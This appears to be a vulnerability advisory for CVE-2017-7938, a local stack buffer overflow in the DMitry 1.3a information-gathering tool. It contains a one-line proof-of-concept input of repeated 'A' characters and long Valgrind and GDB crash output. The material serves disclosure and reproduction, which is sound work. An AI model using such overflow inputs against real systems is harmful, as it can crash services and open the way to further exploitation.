Dmitry 1.3a Local Stack Buffer Overflow

`Reference :   
https://cxsecurity.com/issue/WLB-2017040113  
  
################  
#Exploit Title: Dmitry(Deepmagic Information Gathering Tool) Local Stack Buffer Overflow  
#CVE: CVE-2017-7938  
#CWE: CWE-119  
#Exploit Author: Hosein Askari (FarazPajohan)  
#Vendor HomePage: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/  
#Version : 1.3a (Unix)  
#Exploit Tested on: Parrot OS  
#Date: 19-04-2017  
#Category: Application  
#Author Mail : [email protected]  
#Description: Buffer overflow in DMitry (Deepmagic Information Gathering Tool) version 1.3a (Unix) allows attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a long argument. An example threat model is automated execution of DMitry with hostname strings found in local log files.  
###############################  
#valgrind dmitry $(python -c 'print "A"*64')  
==11312== Memcheck, a memory error detector  
==11312== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.  
==11312== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info  
==11312== Command: dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
==11312==   
Deepmagic Information Gathering Tool  
"There be some deep magic going on"  
  
ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Continuing with limited modules  
HostIP:  
HostName:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
  
Gathered Inic-whois information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
---------------------------------  
Error: Unable to connect - Invalid Host  
ERROR: Connection to InicWhois Server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA failed  
  
Gathered Netcraft information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
---------------------------------  
  
Retrieving Netcraft.com information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Netcraft.com Information gathered  
**11312** *** strcpy_chk: buffer overflow detected ***: program terminated  
==11312== at 0x4030DD7: VALGRIND_PRINTF_BACKTRACE (valgrind.h:6818)  
==11312== by 0x40353AA: __strcpy_chk (vg_replace_strmem.c:1439)  
==11312== by 0x804B5F7: ??? (in /usr/bin/dmitry)  
==11312== by 0x8048ED8: ??? (in /usr/bin/dmitry)  
==11312== by 0x407D275: (below main) (libc-start.c:291)  
==11312==   
==11312== HEAP SUMMARY:  
==11312== in use at exit: 0 bytes in 0 blocks  
==11312== total heap usage: 82 allocs, 82 frees, 238,896 bytes allocated  
==11312==   
==11312== All heap blocks were freed -- no leaks are possible  
==11312==   
==11312== For counts of detected and suppressed errors, rerun with: -v  
==11312== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)  
======================================  
GDB output:  
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Starting program: /usr/bin/dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Deepmagic Information Gathering Tool  
"There be some deep magic going on"  
  
ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Continuing with limited modules  
*** buffer overflow detected ***: /usr/bin/dmitry terminated  
======= Backtrace: =========  
/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb7e5a37a]  
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb7eeae17]  
/lib/i386-linux-gnu/libc.so.6(+0xf60b8)[0xb7ee90b8]  
/lib/i386-linux-gnu/libc.so.6(+0xf56af)[0xb7ee86af]  
/usr/bin/dmitry[0x8048e04]  
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e0b276]  
/usr/bin/dmitry[0x80490a4]  
======= Memory map: ========  
08048000-0804f000 r-xp 00000000 08:01 7209647 /usr/bin/dmitry  
0804f000-08050000 r--p 00006000 08:01 7209647 /usr/bin/dmitry  
08050000-08051000 rw-p 00007000 08:01 7209647 /usr/bin/dmitry  
08051000-08073000 rw-p 00000000 00:00 0 [heap]  
b7d9f000-b7dbb000 r-xp 00000000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1  
b7dbb000-b7dbc000 r--p 0001b000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1  
b7dbc000-b7dbd000 rw-p 0001c000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1  
b7dbd000-b7dd1000 r-xp 00000000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so  
b7dd1000-b7dd2000 r--p 00013000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so  
b7dd2000-b7dd3000 rw-p 00014000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so  
b7dd3000-b7dd5000 rw-p 00000000 00:00 0   
b7dd5000-b7dda000 r-xp 00000000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so  
b7dda000-b7ddb000 r--p 00004000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so  
b7ddb000-b7ddc000 rw-p 00005000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so  
b7ddc000-b7dde000 r-xp 00000000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2  
b7dde000-b7ddf000 r--p 00001000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2  
b7ddf000-b7de0000 rw-p 00002000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2  
b7de0000-b7deb000 r-xp 00000000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so  
b7deb000-b7dec000 r--p 0000a000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so  
b7dec000-b7ded000 rw-p 0000b000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so  
b7ded000-b7df3000 rw-p 00000000 00:00 0   
b7df3000-b7fa4000 r-xp 00000000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so  
b7fa4000-b7fa6000 r--p 001b0000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so  
b7fa6000-b7fa7000 rw-p 001b2000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so  
b7fa7000-b7faa000 rw-p 00000000 00:00 0   
b7fd4000-b7fd7000 rw-p 00000000 00:00 0   
b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar]  
b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso]  
b7fdb000-b7ffd000 r-xp 00000000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so  
b7ffd000-b7ffe000 rw-p 00000000 00:00 0   
b7ffe000-b7fff000 r--p 00022000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so  
b7fff000-b8000000 rw-p 00023000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so  
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]  
  
Program received signal SIGABRT, Aborted.  
0xb7fd9cf9 in __kernel_vsyscall ()  
  
  
  
Best Regards  
Hosein Askari  
Contact : [email protected]  
  
`